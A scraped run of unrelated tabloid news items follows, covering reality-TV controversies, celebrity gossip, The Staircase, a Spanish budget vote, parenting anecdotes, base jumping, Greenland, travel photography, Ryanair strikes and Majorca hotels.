'While Channel Nine will bounce back from this  they will just wear the wave of this backlash.'

'I used to be a lesbian': On Married at First Sight this week, Lauren told Matt that she used to date women prior to him

Last year, Channel Ten was accused of 'queerbaiting' for teasing a 'lesbian romance' that never actually happened between contestants Megan Marx and Elora Murger on Bachelor In Paradise.

Months later, viewers slammed the same network for heavily promoting former Bachelor contestant Brooke Blurton's 'big secret' - which turned out to be her simply telling Nick Cummins that she once had same-sex experiences.

After Monday's episode of MAFS, critics flocked to Twitter to vent outrage as some said the lesbian revelation scene sends the wrong message about the LGBT community.

That's not a woman! Last year, Channel Ten was accused of 'queerbaiting' for teasing a 'lesbian romance' that never actually happened between contestants Megan Marx (left) and Elora Murger (not pictured) on Bachelor In Paradise. Pictured right - Canadian contestant, Thomas Perras

Just friends: The Bachelor's 'steamy kiss promo' was an attempt to trick viewers into thinking that Megan was kissing her friend Elora (pictured) when it was actually a man

'Gaahhhhhh 'I used to be a lesbian'. Just no. Please don't trivialise our identity. Makes me think, one day, if I try reeeally hard, maybe I'll get a husband,' one user tweeted.

'I'm a bit confused... so according to Lauren being a lesbian is a choice and you can change your mind at will and stop being gay? #MAFS,' another wrote.

'Did Lauren ACTUALLY say she used to be a lesbian!??? WTF! This insults the LGBTQ - community so much! #MAFS #marriedatfirstsightau #LGBTQtwitter,' another tweeted.

Criticism: Months later, viewers slammed the same network for heavily promoting former Bachelor contestant Brooke Blurton's 'big secret' - which turned out to be her simply telling Nick Cummins that she once had same-sex experiences

'I don't believe there is such a thing as 'used to be lesbian' Lauren. I'm pretty sure it doesn't work like that and you are either Straight, Bi or Les etc #MAFS,' one viewer wrote.

'Lauren - You can't use to be a lesbian. It's called bisexual - you like both sexes! You say it like its a choice! #MAFS.'

Daily Mail Australia has contacted Channel Nine for comment.

The conversation between Lauren and her husband Matt, 29, began when he asked, 'what's something about you that most people find surprising when they learn?'

She replied: 'I used to be a lesbian.'

Matt, who lost his virginity to Lauren on their honeymoon, appeared shocked by the revelation and was lost for words which made Lauren uncomfortable.

First night of passion: Prior to hearing his wife's 'lesbian revelation', Matt lost his virginity to her on their honeymoon

'The fact that I have had relationships with girls definitely shocked Matt and he went silent. He just won't talk,' she said.

'I'm not impressed to be honest. He should have a thousand things to ask me, I've got a thousand things to ask him. So it makes me question like, does he really want to know about me?'Brazilian bombshell Alessandra Ambrosio braved Manhattan's 30F-degree freezing rain, sleet, and snow on Tuesday and managed to showcase her bare legs.

The 37-year-old mother-of-two - who relies on stylist Chloe Bartoli - was scantily clad in nothing more than an orange-knit mini-dress under a black leather coat and matching high-heeled booties.

Winter weather was not going to keep the in-demand IMG Model from strutting her stuff during the New York Fashion Week festivities.

Brrrr! Brazilian bombshell Alessandra Ambrosio braved Manhattan's 30F-degree freezing rain, sleet, and snow on Tuesday and managed to showcase her bare legs

Frozen legs! The 37-year-old mother-of-two was scantily clad in nothing more than an orange-knit mini-dress under a black leather coat and matching high-heeled booties

Alessandra walked in the John John Denim FW/19 runway presentation.

On Monday, Ambrosio - who boasts 17M social media followers - Insta-storied a couple snaps of herself doting on six-year-old son Noah Phoenix.

Missing from the #MomLife post was the Final Table guest judge's 10-year-old daughter Anja Louise with ex-fiance - Re/Done denim founder Jamie Mazur - whom she split from last March after a decade.

The Linda Farrow brand ambassador is now dating handsome Italian designer Nicolo Oddi, whose sister Carlotta Oddi co-founded the Milan-based knitwear label Alanui.

Backstage selfie: Winter weather was not going to keep the in-demand IMG Model from strutting her stuff during the New York Fashion Week festivities

On the catwalk: Alessandra walked in the John John Denim FW/19 runway presentation

Hot fudge sundae: On Monday, Ambrosio - who boasts 17M social media followers - Insta-storied a couple snaps of herself doting on six-year-old son Noah Phoenix

'With my girl': Missing from the #MomLife post was the Final Table guest judge's 10-year-old daughter Anja Louise with ex-fiance - Re/Done denim founder Jamie Mazur - whom she split from last March after a decade (pictured January 18)

'Meu amor': The Linda Farrow brand ambassador is now dating handsome Italian designer Nicolo Oddi, whose sister Carlotta Oddi co-founded the Milan-based knitwear label Alanui (pictured January 22)

Alessandra has yet to address her role in promoting the disastrous Fyre Festival since a judge signed off on a subpoena January 3 for her agency IMG Model, which was paid $1.2M in 2016/2017 from Fyre Media CEO Billy McFarland - according to Billboard.

Two new documentaries - Hulu's Fyre Fraud and Netflix's Fyre: The Greatest Party That Never Happened - about the doomed music festival on Grand Exuma island featured Ambrosio hyping the fest.

The disgraced 27-year-old - who conned investors out of $27.4M - is currently serving a six-year federal prison sentence at New York's FCI Otisville after pleading guilty to multiple counts of fraud.

Scandalous: Alessandra has yet to address her role in promoting the disastrous Fyre Festival since a judge signed off on a subpoena January 3 for her agency IMG Model, which was paid $1.2M in 2016/2017 from Fyre Media CEO Billy McFarland

Legal woes: Two new documentaries - Netflix's Fyre and Hulu's Fyre Fraud - about the doomed music festival on Grand Exuma island featured Ambrosio hyping the festMarried At First Sight's Ning Surasiang and Mark Scrivens came to blows during a gym workout on Tuesday night's episode.

But it appears the newlyweds were actually in high spirits behind the scenes when they arrived to film the segment back in October 2018.

Pictures obtained by Daily Mail Australia show the couple looking happy as they performed stretches and flirted with each other outside the gym.

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Where did it all go wrong? Married At First Sight's Ning and Mark put on a flirty display while arriving at the gym - shortly before their relationship fell apart in THAT explosive argument

Ning, a 32-year-old single mother, took the opportunity to show off her flexibility while waiting for producers to arrive.

Much to Mark's delight, the hairdresser lifted a leg over one of his shoulders before they burst into fits of giggles.

She looked sensational on the day, flaunting her toned figure in black leggings and a matching singlet tied at the waist.

Supportive husband: The newlyweds appeared to be in high spirits behind the scenes when they arrived to film the segment back in October 2018

What happened? While the couple looked blissfully happy in the photos, the episode of MAFS which aired on Tuesday told a very different story

Workout from hell: Once inside the gym, tensions simmered as they argued furiously during what was supposed to be a bonding session

Getting ready for a sweat session! Ning, a 32-year-old single mother, took the opportunity to show off her flexibility while waiting for producers to arrive

Using the stretch as an opportunity to get close Mark, Ning placed her hands around his face as he smiled.

At one stage, the 41-year-old former Army serviceman helped his 'wife' steady her balance.

However, he did not join her in warming up for the exercise session and instead sat on a brick wall outside the gym.

Holding hands: Mark and Ning held hands while arriving at the gym

Did he go too far? Ning later said she believed Mark was 'punishing' her during the workout

While the couple looked blissfully happy in the photos, the episode which aired on Tuesday told a very different story.

Once inside the gym, tensions simmered as they argued furiously during what was supposed to be a bonding session.

Ning called Mark a 'man-child' and accused him of 'punishing' her during the workout.

'I'm done, don't like where this is going, I'm finished. See you later!' she snapped.

Resting up: Mark did not join Ning in warming up for the exercise session and instead sat on a brick wall outside the gym

Before the fight: Ning looked sensational on the day, flaunting her toned figure in black leggings and a matching singlet tied at the waist

Ning later told producers she believed Mark was 'punishing' her at the gym.

'I don't think he wanted me to enjoy it I think he just wanted to punish me and see me sweat,' she said.

After Mark said they wouldn't be going to the gym together again, Ning agreed: 'F**k no, not with you!'

Good vibes: The couple looked happy as they performed stretches and flirted with each other

Bad experience: Ning called Mark a 'man-child' and accused him of 'punishing' her during the workout, which took place shortly after these photos were taken

Hurt: 'I don't think he wanted me to enjoy it I think he just wanted to punish me and see me sweat,' Ning said afterwards

Is it over? After a series of blazing rows, Mark removed his wedding ring and slammed it on the dining table, prompting Ning to burst into tears

After a series of blazing rows, Mark removed his wedding ring and slammed it on the dining table, prompting Ning to burst into tears.

As the show prepares to enter its third week, the future of the couple's 'marriage' looks very uncertain.

Married At First Sight continues Wednesday at 7.30pm on Channel NineSeason two of Channel Seven's Instant Hotel is ramping up the sex appeal courtesy of international model Leah Johnsen.

The 28-year-old stunner is transforming her home into a holiday rental with the help of her personal trainer boyfriend Jay Bruno.

But speaking to this week's New Idea, the couple insist they will bring more to the competition than just good looks.

Never mind the MAFS brides! Meet Leah Johnsen (right), the stunning model starring on Instant Hotel with her personal trainer boyfriend Jay Bruno (left)

'We started our Instant Hotel to 'future-proof' our life,' said Jay, 31.

'We're going to need something after PT, music and modelling,' he added. 'People might think we're pretty, but we're more than that.'

Jay and Leah are hoping to start new careers as hoteliers, and will be flipping their beach shack into an 'Instant Hotel' on the renovation show.

Their property is situated in the village of Portsea in Victoria, close to beaches, wineries and boutique shops.

'We started our Instant Hotel to foolproof our life': Speaking to this week's New Idea, the couple insist they will bring more to the competition than just good looks

Stunning: Leah, 28, has made a living as an international model and is represented by FORD Models in New York, Chicago, Miami and Los Angeles

Prolific career: In addition, she has worked extensively in Australia for a variety of brands

Meanwhile, Leah may already be a familiar face to viewers.

She has made a living as an international model and is represented by FORD Models in New York, Chicago, Miami and Los Angeles.

In addition, she has worked extensively in Australia for a variety of brands.

Leah also boasts more than 40,000 followers on her Instagram account, which features bikini-clad snaps from her various photo shoots.

The model life! Leah also boasts more than 40,000 followers on her Instagram account, which features bikini-clad snaps from her various photo shoots

Jay works as trainer at Sam Wood's Melbourne gym The Woodshed, and is a musician on the side.

He also co-hosted a community radio show with The Bachelor's Alex Nation and Luke Forest called Jay, Foz & Alex.

The second season of Instant Hotel is hosted by English style guru Laurence Llewelyn-Bowen.

Fit: Jay works as trainer at Sam Wood's Melbourne gym The Woodshed, and is also a musician

That's where we've seen him before! Jay also co-hosted a community radio show with The Bachelor's Alex Nation and Luke Forest called Jay, Foz & Alex

The series, which premiered on Monday, will see him travel to various locations throughout Australia in search of the best Instant Hotel.

Laurence is joined by fellow judge and award-winning designer Juliet Ashworth.

Instant Hotel season two continues Monday at 9pm on Channel SevenU.S. lawyer David Rudolf is known for representing Michael Peterson in true-crime documentary series, The Staircase.

And the criminal defense attorney has revealed 75-year-old Peterson - who was convicted of manslaughter and sentenced to time served in 2017 after taking an Alford plea - has plans to release an e-book about his story.

Speaking to Daily Mail Australia ahead of a speaking tour Down Under, Rudolf said: 'He's getting ready to self-publish a book about his experience in prison and the case.'

'Getting his story out is important for him': The Staircase lawyer David Rudolf (left) has revealed Michael Peterson (right) is releasing 'a book about his experience in prison and the case'. Pictured on August 19, 2003

The Staircase follows the case of Michael Peterson (left), who was convicted of murdering his wife Kathleen (right), after she was found dead at the bottom of the staircase at the couple's home in Durham, North Carolina

The Staircase follows the case of Michael Peterson, who was convicted of murdering his wife Kathleen, after she was found dead at the bottom of the staircase at the couple's home in Durham, North Carolina.

Rudolf claims the North Carolina novelist is 'looking forward' to the release of the tell-all, which will be made available free of charge on the internet.

'I think he's looking forward to it, to be honest, he was a writer and it's how he's spent his life. He's a writer and getting his story out is important for him.'

Peterson served eight years of a life sentence before being released on appeal due to flawed evidence in 2011. He was later convicted of manslaughter, and sentenced to time served, at a retrial in 2017 after taking an Alford plea.

The plea is treated as guilty by the court, but allows the accused to maintain their innocence while admitting that there was enough evidence to convict them.

'Getting his story out is important': Rudolf claims the North Carolina novelist is 'looking forward' to the release of the tell-all, which will be made available for free online as an e-book

Peterson served eight years of a life sentence before being released on appeal due to flawed evidence in 2011. He was later convicted of manslaughter, and released with time served, at a retrial in 2017 after taking an Alford plea

'He felt like it was a well done and accurate portrayal of what happened': Rudolf said Peterson didn't watch the first eight episodes of the docu-series when it came out in 2004, and only reviewed the footage once the extended 13-part series hit Netflix in 2018

Rudolf said Peterson didn't watch the first eight episodes of the docu-series when it came out in 2004, and only reviewed the footage once the extended 13-part series hit Netflix in 2018.

'He didn't watch the entire series for a month or so. He called me one day to say he finished watching it and he thought it was very well done. He felt like it was a well done and accurate portrayal of what happened,' Rudolf explained.

The defense lawyer went on to say his first reaction to The Staircase was far less accepting: 'When I first watched it in 2004, it was the most depressing few days of my life, It was very raw for me and watching it was very difficult.'

'When it came back out (in 2018), it was different for me. Now the ending is a lot happier. The first eight episodes weren't terribly depressing.'

'It was very raw for me and watching it was very difficult': The defense lawyer described his initial viewing of the documentary in 2004 as 'terribly depressing', but said watching it now is easier because he knows the ending is happier

'At the time it was just incredibly irritating': Looking back on the series, Rudolf joked that he regretted his 'camera tantrum' towards the power-point operator

Rudolf said it was a 'leap of faith' to let the camera crew roll on every moment of Peterson's journey, but never had any doubts they would jeopardise the case.

He admitted he had agreed on 'certain conditions' with the filmmakers, but ultimately he liked that they weren't American.

'Part of it was they weren't American. They werent glory seeking, they werent seeking the gory details and sensationalist angles. What they were really interested in was how the criminal justice system worked and what criminal defense lawyers actually did. It's why I agreed to do it.'

Looking back, he joked of his one regret: 'I'm not sure I would change it, but certainly my camera tantrum at the power-point operator was not a highlight for me.'

The moment in the true-crime series shows Rudolf becoming frustrated by a video operator, before a guard escorts them out of the building due to a fire alarm.

'At the time it was just incredibly irritating, but as I look back on it now and watch it it's sort of a comedy routine.'

Rudolf praised how the rise in popularity of true-crime documentaries has helped people understand the criminal justice system better (Pictured: Netflix's Making A Murderer series)

Rudolf, along with Making A Murderer's defense lawyer Laura Nirider (who represents Brendan Dassey in season two of the Netflix series), are touring Australia in March with their 'Inside Making a Murderer & The Staircase' event.

'I think a lot of people have a newfound understanding of the problems that can exist, of how wrongful convictions occur, of the importance of what criminal defence lawyers do,' the US lawyer said of the rise in popularity of true-crime series.

However, Rudolf insists he won't star in any other true-crime documentaries, as he believes The Staircase is 'a wonderful piece of film making that captures the criminal justice system', adding: 'It cant get any better, only worse.'

The lawyers will accept questions from fans and audience members at the upcoming functions in Sydney, Melbourne, Perth, Adelaide and Brisbane.ROME - The Spanish parliament on Wednesday rejected the 2019 budget law proposed by the socialist party government under Pedro Sanchez. The road is thus paved for early elections. Voting against the budget law under the Sanchez government, after the government's refusal to engage in negotiations for Catalan self-determination, were pro-independence parties, who in this way basically decreed the end of the legislature, and those of the center-right. Parties that voted against the law were the pro-independence parties ERC and PdeCat as well as the centre-right parties Partido Popular and Ciudadanos, Foro Asturias and Coaliccion Canaria, resulting in 191 votes against compared with 156 in favor from PSOE and Podemos MPs.

It will now be up to Prime Minister Pedro Sanchez to decide whether or not to dissolve the parliament and call early elections, as PP and Ciudadanos are demanding. The legislature is currently due to end in 2020.

The socialist party leader has not commented on the issue but PSOE sources say that he may do so on Thursday.

Catalan pro-independence parties have made early elections ever more of a possibility with their rejection of the budget law after the government refused to agree to the two conditions laid down to support the budget law: engage in negotiations for the self-determination of Catalonia and to interfere in the judicial system in the trial of 12 pro-independence politicians underway at the Supreme Court.Fibs. Little white lies. Stonking, great big stinkers. Who hasn't twisted the truth when it comes to dealing with their family?

From not doing our homework when we were kids to keeping quiet about questionable teenage dates, no one is too good (or old!) to serve up a dollop of codswallop from time to time.

And, as we see in new comedy Instant Family (in cinemas now) starring Mark Wahlberg and Rose Byrne as shellshocked new foster parents, household dynamics can cause no end of drama.

But even if you don't think so at the time, every annoying family moment can become a brilliant tale in the retelling. Here, we have rounded up the most hilarious fibs we've told our parents - and the ones they've dished back out to us...

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Families are funny things - as we see when Rose Byrne (above left) and Mark Wahlberg become parents of three kids in a day in hilarious new comedy Instant Family. Here, we look at the funniest fibs kids have told their parents - and vice-versa!

The lies we've told them

Kate from Hampshire

I used to tell my two children that if they were telling a lie their tongues turned green.

You'd soon find out when one or the other giggled and refused to show me their tongue when interrogated. Worked a treat for years!

Claire from Lytham

I once told my children that when the ice cream van played music, it meant theyd sold out!

They spent years rolling their eyes at other kids running out to try and buy 'sold out' ice creams.

Victoria from Isleworth

For my daughter Abigail's 7th birthday I hired a Cinderella impersonator for the party.

After the princess graced us with her presence, my daughter asked me how she knew it was her party.

I told her that mummy had texted the Disney castle and Cinderella - who was thankfully waiting around for a gig - jumped straight into her carriage and travelled all the way to Isleworth.

Carmel from Newry

I was midway through most parent's worst lie - the Tooth Fairy exchange - when my son Ryan woke up while I was trying to grabble with the tooth under his pillow.

Looking at me with his tooth in one hand and a pound in the other, I couldn't think of anything to say apart from: "The Tooth Fairy is poorly. She rang and asked me to help her out. I'm going to send her your tooth in the post."

The next morning, he simply said: "Do you think The Tooth Fairy meant she was poor, rather than poorly? She usually gives me a fiver."

I realised at that moment not only was I a bad liar, but I was also a skinflint.

Elizabeth from Cambridge

My children had a much-loved goldfish each as young children. Each week I would dutifully clean the tank, but despite my best efforts, and endless advice from various pet shops and experts, they died every single time.

Worried my little darlings were too young to deal with the concept of death, I would dash out to the pet shop and purchase two new goldfish every time. However, stock issues at our local store meant that I couldnt always get a similar fish  or one that looked even looked vaguely similar.

Awkward questions about why Bubbles had doubled in size and developed a huge black spot since they left that morning eventually led to me telling them that goldfish are like chameleons and can change appearance at will, depending on their mood. Both kids believed this until well into double figures.

Elizabeth from Cambridge admits her children knew something fishy was going on when their beloved pet goldfish kept changing appearance

Family affair: Why Instant Family is a film for everyone... When Pete (Mark Wahlberg) and Ellie (Rose Byrne) decide to start a family, they explore the world of adoption. When they meet a trio of siblings, including a rebellious 15-year-old girl (Isabela Moner), they find themselves unexpectedly speeding from zero to three kids overnight. Now, Pete and Ellie must hilariously try to learn the ropes of instant parenthood in the hopes of becoming a family - with lots of drama, calamities and laughs along the way. Instant Family is inspired by the real events from the life of writer/director Sean Anders and also stars Octavia Spencer, Tig Notaro and Margo Martindale and is the first truly feel-good film of 2019. From knowing moments for parents, recognisable teen feelings and slapstick for younger kids, everyone in the family will laugh out loud as they see aspects of their own family dynamics. The film hits cinemas on February 14. Book your tickets HERE...

The lies kids told their parents

Ken from Preston

My daughter Bryony had a 'show and tell' day at school which involved standing in front of the class and explaining all about their chosen subject.

Unfortunately for me, she had told her pals that she was doing it about her father's expedition to the Galapagos Islands - and begged me to do the presentation with her.

So, not only did I have the shame of having a lying fantasist for a child, but I also had to pretend to be a wildlife conservationist in front of 25 children. I actually work in IT.

Harriet from Wiltshire

My youngest son came home and said that one of the teachers at school had died. We were aghast as she was lovely. Shocked, my husband and I asked: "Oh no, how awful - what did she die from?" He nonchalantly replied: "Old age." She was 28. And, not so surprisingly, was still alive and well when we rang the school.

Jennifer from Lancashire

'One Saturday morning, I sent our eldest son Alex to the shop for breakfast ingredients but he only came back with bread but no bacon.

'When quizzed about this missing item he quickly blurted out that he'd been mugged! Horrified, I asked why these hungry highway robbers had only stolen bacon and not the bread - or, in fact, his expensive new bike.

He crumbled and admitted that he had bought chocolate bars, ate them all at the shop, threw the wrappers and receipt in the bin and thought of his genius excuse on the way home!

Alice reveals her daughter explained that 'she didn't understand her' after she ordered a bag-load of toys online - despite being told minutes before she wasn't allowed to

Alice from Somerset

My daughter Lara wanted to order about seven, awful toys online and asked me directly: "Can I order something from Amazon?"

A loud, clear "no" was my answer.

When I saw the orders come through almost immediately, my head exploded and I went into interrogation mode. Her simple response was that: "She hadn't heard me", "She didn't understand," and, "She thought I had said yes."

Melanie from London

My eldest son showed his creativity early on. Unfortunately, he channelled his artistic side into graffitiing his little brother Harvey's name all over the living room wall.

Pleased as punch to get his sibling in trouble, he gleefully shouted: "Mum! Look what Harvey's done!"

There was only one problem - Harvey was two and couldn't write. Louis hadn't really thought his masterplan through.

Instant Family is out now. Book your tickets HERE...Advertisement

Jumping off a mountain in sub-zero temperatures might not be everyone's idea of enjoyment.

But for thrill-seeker and former Royal Marine Commando Tim Howell that's just what gets him hopping with excitement.

Stomach-churning video footage shows the adrenaline-junkie being the first to base-jump off a number of terrifying-looking peaks in Scotland and swooping over magical snow-carpeted landscapes once his chute opens.

Scroll down for video

Thrill-seeker and former Royal Marine Commando Tim Howell is seen base-jumping over Steall Waterfall in Glen Nevis

For some of the jumps, Howell donned skis. He was the first British person to ever successfully complete a ski base jump last year and he has since done many more. Above, he is seen about to jump from Storr cliffs on the Isle of Skye

In one clip, he points the camera towards his legs, with his feet dangling up high.

He then turns the lens upwards to show the breathtaking view - icy lochs surrounded by undulating snowy hills.

In another scene Howell is seen gently parachuting down into a stunning valley, with the mountainous scenery dwarfing him as he goes.

Howell's base-jumping expedition took him to the Storr cliffs on the Isle of Skye, the north face of Ben Nevis, the Steall Waterfall in Glen Nevis and The Cobbler in the Arrochar Alps.

Howell peers over the Number Three Gully Buttress on Ben Nevis before taking the plunge

Howell said he developed a passion for wingsuit base jumping while working as a Commando in the mountain leader branch

The Brit's first base jump was in 2013 from a bridge in the south of France and he said his 'connection to this sport, considered deviant and unjustifiable by some, was instant'

All of the jumps were achieved in the space of a week in snowy Scottish conditions.

For some of the jumps, Howell donned skis.

He was the first British person to ever successfully complete a ski base jump last year and he has since done many more.

This method allows the base jumper to ski out after landing and navigate the frozen landscape more easily.

Howell said he developed a passion for wingsuit base jumping, meanwhile, while working as a Commando in the mountain leader branch.

Over the years, Howell has jumped from various famous landmarks around the world including Table Top Mountain in Cape Town, Half Dome in Yosemite, Trident du Tacul in the Mont Blanc massif and the Grand Canyon in the U.S.

All of the jumps were achieved in the space of a week in snowy Scottish conditions. Above, swooping away from the face of Ben Nevis

Howell is now part of the pro team for the British mountain clothing brand Jottnar, which was conceived in the Arctic Circle by two former Marine Commandos and lifelong climbers and skiers, Tommy Kelly and Steve Howarth

He explained: 'My first base jump was in 2013 from a bridge in the south of France and my connection to this sport, considered deviant and unjustifiable by some, was instant.

'I developed my skills over the following few years, which included being the first British person to complete a ski base jump, and being the first to do so in the UK at Buachaille Etive Mor in Glencoe.'

Over the years Howell - who has since left the Marines and is now self-employed - has jumped from various famous landmarks around the world including Table Top Mountain in Cape Town, Half Dome in Yosemite, Trident du Tacul in the Mont Blanc massif and the Grand Canyon in the U.S.

He is now part of the pro team for the British mountain clothing brand Jottnar, which was conceived in the Arctic Circle by two former Marine Commandos and lifelong climbers and skiers, Tommy Kelly and Steve Howarth.

Jottnar said: 'An important part of the Jottnar story is its Pro Team. This tribe of climbers, alpinists, skiers, speed flyers, Base jumpers, wingsuit flyers and survival specialists are closely involved in the brands product development. They provide a resource where new product prototypes can be thrashed, smashed, battered and beaten, and where improvements and fine-tuning can take place.'Advertisement

Decked out in polar bear fur trousers and wearing animal claws on a string around his neck, Marti Suulutsun certainly makes for an impressive sight as I pull up towards the remote island of Uummannaq off west Greenland.

It's a fairly warm day - as the Arctic summer goes - with an air temperature of around 10 degrees Celsius and I say to Marti that he must be feeling a little hot as I hop off a speed boat on to a wooden jetty.

Luckily the 33-year-old can speak good English and he laughs in response before taking me on a walk to meet his pack of 11 dogs, which he keeps just outside of the main town on the rocky isle.

Decked out in polar bear fur trousers and wearing animal claws on a string around his neck, Marti Suulutsun certainly makes for an impressive sight. The 35-year-old lives on the remote island of Uummannaq in Greenland

Uummannaq is the eleventh-largest town in Greenland with around 1,280 residents - and it is home to the country's most northerly ferry terminal

Pictured are houses in Uummannaq overlooking an iceberg-laden bay

'They are quite warm,' he continues on the subject of his trousers, as we stroll along the quiet, winding tarmac roads.

He goes on to explain that the fur came from a bear his uncle shot three years ago and that they ate the creature's nutritious meat, too.

Hunting polar bears is commonplace in Greenland - and the locals use all parts of the animal as a means of survival in the brutal cold.

The Government enforces strict quotas on the number of bears that can be killed to keep the population stable.

Hunting, Marti explains, is one of his favourite pastimes and one of the reasons he left mainland Denmark for the remote wilds.

Marti has 11 dogs, which he keeps in an area just outside of the main town

On the subject of love, Marti says it's not difficult to meet someone as the community is so small but he hasn't looked much. For now, the only family Marti needs is his pack of dogs

Courtesy of Uummannaq Fjord Tours

He muses: 'I like to be in the nature. The best time of year for me is winter when it's cold and I can go out with my dogs and see the Northern Lights dancing overhead.'

Marti says he was always intrigued about Greenland, with his interest in the island intensified by his adoption by a Greenlandic woman as a teenager after his mother died.

He decided to move from the city of Viborg in Denmark to Greenland - where he had a scattering of family - around ten years ago and first settled in the coastal town of Ilulissat, which has a population of around 4,800.

But that wasn't quiet enough.

So he moved to Uummannaq, where just 1,280 people reside.

He's a trained electrician and had first gone to the island settlement to carry out some wiring work and instantly felt at home there.

After hiking up a small hill and over some flat, rocky terrain we eventually get to Marti's pride and joy - his pack of 11 dogs.

Along with hunting, the native Dane makes money through tourism and takes visitors out on dog sled tours. He also owns two houses in the area and rents one out

The hounds howl wildly as a cold breeze blows and Marti tries to calm them down by talking to them and giving them cuddles.

So what is life in Uummannaq like, with 24hr-daylight in the summer and perpetual darkness in the winter with temperatures dipping below minus 30 degrees Celsius?

Marti has a think and responds, while sitting down on a sled to give his dogs some more attention: 'I don't have a TV but we have electricity and water. We can get Netflix, too, and they've improved the internet.

'I have a boat. I go to the pub sometimes but they don't have good beers here. Greenland people are so open. We all help each other here.'

On the food front, Marti says he loves Christmas time because he has a sweet tooth and candy and cream cakes are his favourite treats.

In Uummannaq it stays light in the summer for 24 hours. Meanwhile, in the winter it stays dark for months at a time and the temperatures can dip below minus 30 degrees Celsius

But on a typical day, he likes to eat oatmeal in the morning and dried musk ox, fish and whale for lunch or dinner.

Soup and rice are other staple dishes he enjoys.

On the subject of 'finding love' Marti says it's not difficult to meet someone, as the community is so small, but he hasn't looked much.

For now, the only family Marti needs is his pack of dogs.

Along with hunting, the native Dane makes money through tourism and when winter hits he takes visitors out on dog sled tours.

He also owns two houses in the area and rents one out.

On our walk back to town I notice that Marti says hello to everyone we pass.

I see that for him, this wild place is his island paradise, with icebergs instead of palm trees; pooches instead of parakeets and cream cakes at Christmas instead of coconuts.

What more could a man want?Advertisement

Dressed to impress? Absolutely.

Russian photographer Kristina Makeeva, from Moscow, travels the world taking pictures and in her latest series she has created fantasy-like images of models wearing jaw-dropping dresses flowing across beautiful landscapes.

Ms Makeeva acquired the dresses either by hiring them, borrowing them from designers - or making them herself.

Among the diverse locations featured in her photography series are Red Square in Moscow, the desert in Oman, the canals of Venice and temples in Thailand.

Ms Makeeva's stunning images have proved to be hugely popular online and she has 591,000 followers on Instagram, where she regularly posts her beautiful snaps.

Scroll down to see her latest jaw-dropping images...

The blue-and-white patterned skirt of this flowing gown match the tiles on this historic building in Porto, Portugal

This stunning shot was captured in a snow flurry in front of St Basil's Cathedral in Moscow. The photographer called it 'Red-red-red Red Square'

This model's stunning red gown blows in the breeze and blends in with the red sand of the Rub Al Khali Desert in Oman

Ms Makeeva said she left behind the cold Moscow winter to travel to Mauritius to capture this stunning image

Miss Makeeva captured this beautiful shot of a model wearing a flowing pink dress set against a purple lavender field in Valensole in south eastern France

Hot air balloons can be seen in the background of this image shot in Cappadocia in Turkey, left. And a model in a golden dress poses in the snow-covered streets of Moscow, right

A dress is whipped up while flowers fall down in Cappadocia, Turkey. It garnered almost 43,000 likes on Instagram

One of Ms Makeeva's Instagram followers wrote of this shot captured in the Italian city of Venice: 'This is seriously so beautiful'

Ms Makeeva says her image shot in Turkey, left, can only be described as 'bird like'. While a model strikes a ballerina pose in an image captured in Moscow, right

The flowing striped skirt of this dress almost blends into the background of a temple in this image shot in Chiang Rai in Thailand

The photographer travelled to the island of Palawan in the Philippines for this dramatic shot of a model wearing an unusual red dress

One fan of Ms Makeeva wrote 'gorgeous sight' on this shot she took of a model posing in an intricate red dress in Venice

A model in a ballerina-style dress poses under a tree in a park in Moscow, left. While cherry blossom falls from the trees in Greenwich Park in London, right

The photographer revealed that it takes three to six hours to edit her shots after taking them. This image was taken in the Philippines

One fan simply wrote 'mesmerising' to describe this image taken by Ms Makeeva among the wisteria in Cappadocia in Turkey

Two of the photographer's more unusual shots. Pictured left is a stunning image captured in a Moscow park, and right another shot in the Russian capital

A dress worn by model Katya floats up in the air as she walks along the beach at sunset on the island of Mauritius

Ms Makeeva shot these two stunning images, left and right, in a tulip field in Holland. Over 42,000 people liked the shot on the left

In this shot, Ms Makeeva wanted to show the real Russia with the model posing against a snowy backdrop wearing a traditional Russian dress

Two of Ms Makeeva's models run gracefully through flowers in an aerial shot she captured in Holland

The twinkling lights on this golden dress worn by model Gizem Zor light up the Rub Al Khali Desert in Oman at dusk

In this spectacular shot, a model braves the waters of the Glacier Lagoon in Iceland wearing a dress that matches the colour of the water

A model wearing a lavender dress is almost barely visible in this aerial shot capture in a hyacinth field in HollandRyanair passengers face yet more disruption - because now the carrier's German pilots have voted to strike.

Management from Europe's biggest low-cost carrier met with the Vereinigung Cockpit (VC) pilot union in Frankfurt last week in order to form a collective labour agreement.

But VC said the talks ended without the progress they had hoped for and after balloting members, it said 96 per cent of the airline's pilots in Germany had voted in favour of strike action.

Ryanair passengers may face even more disruption with strikes at the airline widening to Germany

The union is giving Ryanair until August 6 to make another offer, VC said in a statement, announcing it would host a press conference on August 8 to discuss its next steps.

It said it will give at least 24 hours' notice of any strikes.

'Ryanair has been playing for time in the negotiations since January,' VC said.

'If the signal given by this vote is not taken seriously, then strikes - such as in other European countries - are inevitable.'

Ryanair, headed by CEO Michael O'Leary, did not immediately respond to a request for comment.

The Dublin-based carrier is in the midst of its biggest series of strike actions in its 34-year history - 600 flights were cancelled across Europe last week affecting 100,000 passengers after cabin crew in Spain, Portugal, Belgium and Italy walked out.

Ryanair CEO Michael O'Leary. The Dublin-based carrier is in the midst of its biggest strike action in its 34-year history

The budget airline said that the customers were given refunds or new flights - but some complained they were left stranded.

And thousands have been affected by striking pilots based in Dublin.

They've stopped working three times in a row over annual leave and promotions and plan to walk out again on Friday (August 3).

Ryanair responded by announcing plans to cut up to 300 pilot and cabin crew jobs at its Dublin base and neither side has shown any sign of backing down.

This week's strike by Irish pilots will see 20 of Ryanair's 290 Irish flights cancelled at the beginning of a busy weekend and affected customers were due to be contacted last week.

German pilots were the first to strike at Ryanair, last year, but the disruption was limited.Hotels in Majorca have been accused of illegally putting extra beds in rooms to double accommodation and bypass official limits.

The UGT and CCOO unions in the Balearics say many three-star establishments are putting two extra beds in a double room, meaning four people can sleep there, rather than two.

And they claim that even four-star hotels in Majorca are being 'crafty' by also increasing capacity.

Hotels in Majorca, pictured, have been accused of illegally putting extra beds in rooms to double accommodation and bypass official limits

Rather than draw attention to themselves by dragging in extra beds, the unions say hotels are placing sofas in the rooms so these can be quickly used as beds.

The unions allege this is an illegal way of getting round the bed capping limits imposed by the Balearic Government.

They also say it is contributing to mass tourism and labour exploitation because it is giving staff extra work to do without the corresponding pay rise.

Tourism chiefs are now carrying out a major inspection campaign to clampdown on the practice.

At least 32 hotels were sanctioned in 2017.

The fines vary between 15,000 and 55,000 euros

